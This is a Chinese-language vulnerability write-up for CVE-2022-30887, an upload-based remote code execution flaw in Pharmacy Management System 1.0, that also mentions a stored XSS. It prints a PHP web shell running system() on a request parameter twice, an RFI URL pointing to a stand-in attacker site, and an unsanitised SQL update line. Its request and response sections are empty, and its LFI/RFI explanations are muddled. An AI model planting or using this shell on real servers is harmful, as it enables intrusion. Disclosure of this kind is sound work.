
针对CVE-2022-30887的概念验证利用,演示了在Pharmacy Management System 1.0中通过文件上传实现远程代码执行,并附有缓解指南。
该应用由 Mayurik 构建 这个用PHP开发的药店管理系统项目旨在通过安全和管理来提高药店的准确性和效率。简而言之,它是一个产品库存应用。
发现药店管理系统v1.0存在远程代码执行(RCE)漏洞,漏洞组件为“/php_action/editProductImage.php”。攻击者可以通过特制图片文件执行任意代码。
文件上传漏洞通常是一种允许脚本运行的漏洞。当我们上传文件到服务器并在上传的文件上输入命令时,它就会起作用。文件上传漏洞分为两种类型:
此漏洞发生在服务器上的本地文件包含从用户获取的文件时。必须对从用户接收的值进行消毒。
**LFI(本地文件包含)**示例;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
此漏洞在攻击者从远程服务器上传恶意软件时起作用。
**RFI(远程文件包含)**示例;
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

php shell脚本示例;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
请求;

响应;

请求;

响应;


此外,该漏洞在应用中仍然有效。
在同一个页面“editproduct.php”中,我发现了存储型XSS
$sql = "UPDATE product SET product_name = '$productName'
在这个代码块中,你可以通过双引号(")逃出上下文



我希望能够说明文件包含漏洞的工作原理、什么情况会触发此漏洞以及如何防止攻击者的攻击。感谢你宝贵的时间。